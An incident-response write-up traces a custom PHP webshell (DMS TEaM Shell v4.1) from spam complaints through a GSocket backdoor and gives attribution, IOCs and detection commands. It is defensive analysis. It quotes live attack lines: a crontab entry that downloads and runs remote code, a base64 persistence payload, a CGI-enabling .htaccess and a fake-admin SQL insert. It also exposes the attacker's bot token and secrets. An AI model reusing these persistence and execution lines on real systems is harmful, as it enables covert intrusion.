Hunting DMS TEaM Shell v4.1 — Tracing an Indonesian Threat Actor’s Custom Webshell
How I discovered, reverse engineered, and traced a customized Iranian webshell deployed by an Indonesian attacker — from spam complaints to running the shell locally
The Discovery
It started with spam complaints.
Users were reporting emails coming from a domain I manage. Investigating the mail server logs, I found bounce-back notifications flooding into staff mailboxes — thousands of delivery failures from mass spam runs. The domain had hit the hosting provider’s rate limiter: 8,894 defers against a 500/hour cap.
Digging into the email headers revealed SMTP authentication from two foreign IPs:
109.194.106.144— ER-Telecom, Yoshkar-Ola, Russia125.162.208.67— Telkom Indonesia, Makassar, Sulawesi
Someone had authenticated with valid email credentials and was using the mail server as a spam relay. But how did they get the credentials?
Finding the Backdoor
While auditing the server, I found something in the crontab that didn’t belong:
* * * * * [ ! -f /tmp/gsocket_running.pid ] && ( bash -c "$(curl -fsSL https://shelllung.pages.dev/x)" & echo $! > /tmp/gsocket_running.pid )
A GSocket backdoor — downloading and executing a payload from shelllung.pages.dev every minute, keeping itself alive, disguising the process as [netns] to blend in with kernel threads and hide from ps.
Checking .bashrc revealed a second persistence mechanism — a base64-encoded payload that launched the same backdoor on every terminal session:
{ echo L2Jpbi9wa2lsbC...|base64 -d|bash;} 2>/dev/null #defunct-kernel
Decoded:
GS_ARGS="-k /home/.config/htop/defunct.dat -liqD" exec -a '[netns]' '/home/.config/htop/defunct'
The key file defunct.dat contained a single string: DaqBbS9rLAPxWJDd5VNGQs — the GSocket shared secret used to authenticate the attacker’s reverse connection.
Analyzing the GSocket Installer
Fetching the payload from shelllung.pages.dev/x before taking it down revealed the full installer script. Embedded inside were hardcoded C2 details:
Telegram Bot Token: 7987825643:AAGcB32uPlP8IosBqC_9QD4VbscjVzCXAQE
Telegram Chat ID: 7100389907
Telegram Group: https://t.me/Kurlung_S0006
Binary disguise name: Krlung # note: matches group name without vowels
Every new server compromise automatically notified the attacker via Telegram. The bot (@Manjikkal_Bot) confirmed active when queried via the Telegram API — though getUpdates returned empty, suggesting updates had already been consumed.
The C2 domain shelllung.pages.dev was a Cloudflare Pages site approximately one year old. The Krlung binary name directly mirrors the Kurlung_S0006 Telegram group — the attacker’s own community handle.
Finding the Entry Point
With the backdoor cleaned up, the next question was: how did they get in?
Scanning public_html for recently modified files revealed:
public/vendor/laravel-filemanager/files/folder-1/WIBU.php
A 1.88MB PHP file in the Laravel File Manager’s upload directory. Created July 31 — three weeks before the spam run was detected.
The laravel-filemanager package had been deployed without authentication middleware, making the upload endpoint publicly accessible. The attacker found it, uploaded WIBU.php, and had full server access from that point.
Inside the same directory, an attacker-created DMS_DATA/dmscgiapi/ folder contained a custom .htaccess:
#Coded By DeMonS x Drakania
Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .dms
AddHandler cgi-script .dms
This configured Apache to execute .dms files as CGI scripts — a secondary persistence mechanism allowing code execution even if the PHP shell was removed.
Decoding WIBU.php — DMS TEaM Shell v4.1
The file was heavily obfuscated — 1.88MB of nested base64 string concatenations ultimately feeding a single eval(). Replacing the eval with a file write gave us 13,040 lines of decoded PHP.
The shell’s own config block revealed its identity immediately:
define("__DMS_VERSION__", "4.1");
define("__DMS_CODE_NAME__", "Drakania");
define("__DMS_DATA_FOLDER__", "DMS_DATA");
Login credentials hardcoded in the config:
- Username:
dms - Password hash:
8b973913c3531f33cb920b0dbbefa462(MD5 ofangsa4)
“Angsa” means goose in Indonesian/Malay.
Running It Locally
After cleaning the server, I ran the decoded shell in a local PHP development server to see exactly what the attacker’s interface looked like. Visiting WIBU.php first shows a convincing fake 403 Forbidden error — pressing Tab reveals a hidden password field. After login, a full dark-themed control panel loads with the Demon Slayer anime GIF as background.
The menu reveals the full capability list:
| Feature | Description |
|---|---|
| File Manager | Browse, edit, upload, delete any file on the server |
| Terminal | Execute shell commands via CGI fallback chain (exec → passthru → system → shell_exec → popen → proc_open) |
| SQL Manager | Connect to and dump any database |
| Config Grabber | Auto-extract credentials from WordPress, Joomla, Laravel, WHMCS, Drupal, Opencart |
| Mass Defacer | Replace all files across a directory with defacement page |
| CMS Hijacker | Plant backdoors in WordPress, Joomla, vBulletin, WHMCS, MyBB, phpBB, Drupal, SMF |
| Fake Page | Generate phishing pages cloning real hosting panels to capture credentials |
| BruteForcer | Crack cPanel, FTP, MySQL, SSH credentials |
| Symlink Attack | Read files outside web root — PHP, Perl, and Python variants |
| Port Scanner | Scan internal network ports |
| Zone-H Poster | Auto-report defacements to Zone-H for “credit” |
| Install BackDoor | One-click GSocket persistent backdoor installer |
| CloudFlare Bypass | Circumvent Cloudflare protection |
| WHMCS DeCoder | Extract WHMCS credentials |
| Remote Upload | Upload files from remote URLs |
| Archive Manager | Create and extract archives for data staging |
Hidden Endpoint
The shell includes a secondary backdoor requiring no login:
if(isset($_GET["drakania"])){
// Full shell access: file upload + command execution
// Displays attacker's IP via $_SERVER['REMOTE_ADDR']
echo "<b style='color: #7CFC00'>Your Ip Address is: </b>" . $_SERVER['REMOTE_ADDR'];
}
Visiting shell.php?drakania gives immediate unauthenticated access. Notably, the attacker’s IP would be displayed on this page — any server access logs capturing requests to this endpoint would have revealed their connecting IP.
Update Server & Marketplace
Every time the shell loads, it phones home to the Iranian ALFA TEAM infrastructure:
$json = $update->Send("http://solevisible.com/update.json?ver=4.1");
The update server can push new content, update the copyright notice, inject additional JavaScript, and control a built-in marketplace. This is effectively malware-as-a-service — the original Iranian developers track active deployments and monetize through module sales.
Drupal Hijacker Detail
One particularly interesting capability: the Drupal hijacker creates a fake admin account using a trolling email address:
$create = "insert into users (uid,name,pass,mail) values('$uid','$admin','$hash','dmsxdrakania@fbi.gov')";
The FBI domain is pure trolling — a common trait in Indonesian hacker culture.
Attribution — The ALFA TEaM Fork
The most significant finding came from comparing WIBU.php against the original ALFA Shell source on GitHub (nicxlau/alfa-shell).
DMS TEaM Shell v4.1 is a direct fork of ALFA Shell — an Iranian webshell developed by the group operating as solevisible (contact: solevisible@gmail.com) since at least 2012. The Iranian Telegram channel @solevisible was subsequently banned for TOS violations.
Attribution Chain
ALFA TEaM (Iran, ~2012)
└── Created Alfa Shell v3.0.2
└── Drakania/DeMonS (Indonesia, ~2024)
└── Forked, rebranded as DMS TEaM Shell v4.1
└── Added GSocket C2 + Telegram notifications
└── Deployed against [redacted] server — July 31, 2026
Exact Modifications
| Component | Original (ALFA TEaM) | Modified (DMS TEaM) |
|---|---|---|
| Shell name | ALFA TEaM Shell v3.0.2 |
DMS TEaM Shell v4.1 |
| Hidden endpoint | ?solevisible= |
?drakania= |
| Login username | admin |
dms |
| Login password | ehsan (Iranian name) |
angsa4 (Indonesian for goose) |
| Default timezone | Asia/Tehran |
Kept Tehran — oversight |
| Telegram C2 | None | @Manjikkal_Bot added |
| GSocket installer | None | Full installer integrated |
| Branding | ALFA TEaM / solevisible | DMS TEaM / DMSxDrakania |
| Login background | Iranian flag image | Demon Slayer anime GIF |
| Contact | solevisible@gmail.com |
DMSxDrakania[at]privacylock.net |
| CDN | solevisible.com |
Kept — forgot to change |
| Secondary dropper | solevisible.php |
dmsxdrakania.php |
The Tehran timezone being preserved is a notable oversight — anyone analyzing the shell would reasonably attribute it to an Iranian operator. The actual operator is Indonesian.
Image Upload Timestamp
The Cloudinary account du0yya4rl hosting the shell’s background images contains a revealing timestamp in the URL:
https://res.cloudinary.com/du0yya4rl/image/upload/v1732286419/tanjiro-vs-nezuko...
Unix timestamp 1732286419 = November 22, 2024 — the date Drakania built and uploaded assets for this shell version, approximately 8 months before deployment.
Attacker Profile
| Attribute | Value |
|---|---|
| Primary handle | Drakania (Black Desert Online character class) |
| Collaborator | DeMonS |
| Skype | DMSxDrakania |
| Telegram bot | @Manjikkal_Bot |
| Telegram channel | @dmsxdrakania — banned for TOS violations |
| Telegram group | t.me/Kurlung_S0006 — not found |
| Contact | dmsxdrakania@privacylock.net |
| Geographic indicators | Indonesia (Telkom Makassar IP, Indonesian slang, angsa4 password) |
| Shell built | November 22, 2024 |
Bot bio analysis: The Telegram bot @Manjikkal_Bot has the bio: “Gaya Santri - Kelakuan Jordi” — Indonesian internet slang meaning roughly “acts religious, behaves perversely,” a reference to a well-known Indonesian internet meme. This firmly confirms Indonesian origin despite the bot being named after a location in Kerala, India.
Attack Timeline
| Date | Event |
|---|---|
| Nov 22 2024 | Drakania builds DMS TEaM Shell v4.1, uploads images to Cloudinary |
| Jul 31 2026 | WIBU.php uploaded via unauthenticated file manager |
| Jul 31 2026 | DMS_DATA/dmscgiapi/.htaccess created — CGI persistence planted |
| Aug 3 2026 | Shopify sign-in verification emails to compromised accounts — credential testing |
| Aug 6 2026 | Humble Bundle registrations across 4 accounts in 2-minute gaps — automated credential verification |
| Aug 7 2026 | First spam run begins; public/.htaccess modified with Indonesian WordPress rules |
| Aug 9 2026 | Second attacker IP appears — 125.162.208.67 (Telkom Makassar) |
| Aug 15 2026 | CGI backdoor .htaccess updated |
| Aug 19 04:23 AM | GSocket backdoor planted in .bashrc |
| Aug 19 ~09:00 AM | Mass spam run — rate limit hit (8,894/500), incident discovered |
Attacker’s Credential Verification Method
The 2-minute gap between Humble Bundle registrations across 4 accounts is particularly interesting — it reveals an automated credential stuffing script working through a list of stolen email/password combinations, registering accounts on third-party services to verify which credentials are valid before using them for spam. The Shopify verification emails 3 days earlier were the same process on a different platform.
Indicators of Compromise (IOCs)
| IOC | Type | Notes |
|---|---|---|
109.194.106.144 |
Attacker IP | Russia, ER-Telecom (likely botnet/proxy) |
125.162.208.67 |
Attacker IP | Indonesia, Telkom Makassar |
shelllung.pages.dev |
C2 domain | GSocket installer delivery, Cloudflare Pages |
DaqBbS9rLAPxWJDd5VNGQs |
GSocket secret | Per-infection authentication key |
8b973913c3531f33cb920b0dbbefa462 |
MD5 hash | Shell login password (angsa4) |
7987825643 |
Telegram bot ID | C2 notification bot |
@Manjikkal_Bot |
Telegram bot | C2 notification handle |
7100389907 |
Telegram chat ID | Attacker’s receive channel |
DMSxDrakania |
Handle | Skype, Telegram channel |
dmsxdrakania@privacylock.net |
Attacker contact | |
du0yya4rl |
Cloudinary ID | Account hosting shell assets |
093b6cb9e6ea724e101928647df3e009 |
WhoAPI key | Hardcoded in shell |
WIBU.php |
Filename | Shell upload name used in this campaign |
DMS_DATA/ |
Directory | Shell auto-created data folder |
defunct.dat |
Filename | GSocket secret key file |
[netns] |
Process name | GSocket binary disguise |
.config/htop/ |
Directory | GSocket binary storage location |
Detection
File-based:
find / -name "defunct.dat" 2>/dev/null
find / -path "*/.config/htop/defunct" 2>/dev/null
find /var/www -name "*.php" -size +1M 2>/dev/null # oversized PHP files
grep -r "DaqBbS9rLAPxWJDd5VNGQs" / 2>/dev/null
grep -r "__DMS_CODE_NAME__\|drakania\|Dms TEaM" /var/www 2>/dev/null
Process-based:
ps aux | grep -i "gsocket\|gs-netcat\|shelllung\|netns"
crontab -l | grep -i "shelllung\|gsocket\|pages.dev"
Network-based:
- Outbound connections to
shelllung.pages.dev - DNS queries for
solevisible.comfrom web server processes - SMTP authentication from foreign IPs not matching known senders
Root Cause & Lessons
The entire compromise stemmed from a single misconfiguration — an unauthenticated file upload endpoint. No zero-days, no sophisticated exploitation. An automated scanner found a publicly accessible upload form and used it.
Key fixes:
- Always require authentication on file manager routes in Laravel (
Route::middleware(['auth'])) - Block PHP file uploads at the web server level regardless of application-level checks
- Keep access logs for longer than the default rotation period — 48 hours is forensically useless
- Monitor outbound SMTP authentication for foreign IPs
- Add crontab monitoring — any new cron job on a web server should alert
Conclusion
DMS TEaM Shell v4.1 is a professionally built, actively maintained criminal toolkit — a fork of the decade-old Iranian ALFA Shell, extended with modern C2 capabilities by an Indonesian operator working under the handles Drakania and DeMonS.
The attack was opportunistic — automated scanners probing the internet for misconfigured Laravel deployments. The tooling was sophisticated, the persistence was layered across crontab and .bashrc, and the attacker had 3 weeks of undetected access before a mass spam run finally exposed them.
The most interesting finding was the attribution chain: an Indonesian attacker using Iranian malware infrastructure, with C2 notifications delivered via Telegram, the binary named after the attacker’s own community group, and a Demon Slayer anime GIF as the login background.
The shell is gone, the backdoors are cleaned, and the IOCs are documented. If you find defunct.dat, [netns] processes you didn’t create, or cron jobs fetching from Cloudflare Pages domains — you have the same infection.
All analysis was performed on systems I am authorized to administer, or on the malware samples in an isolated local environment. No third-party systems were accessed.
Tags: cybersecurity malware-analysis threat-intelligence webshell incident-response php indonesia gsocket alfa-shell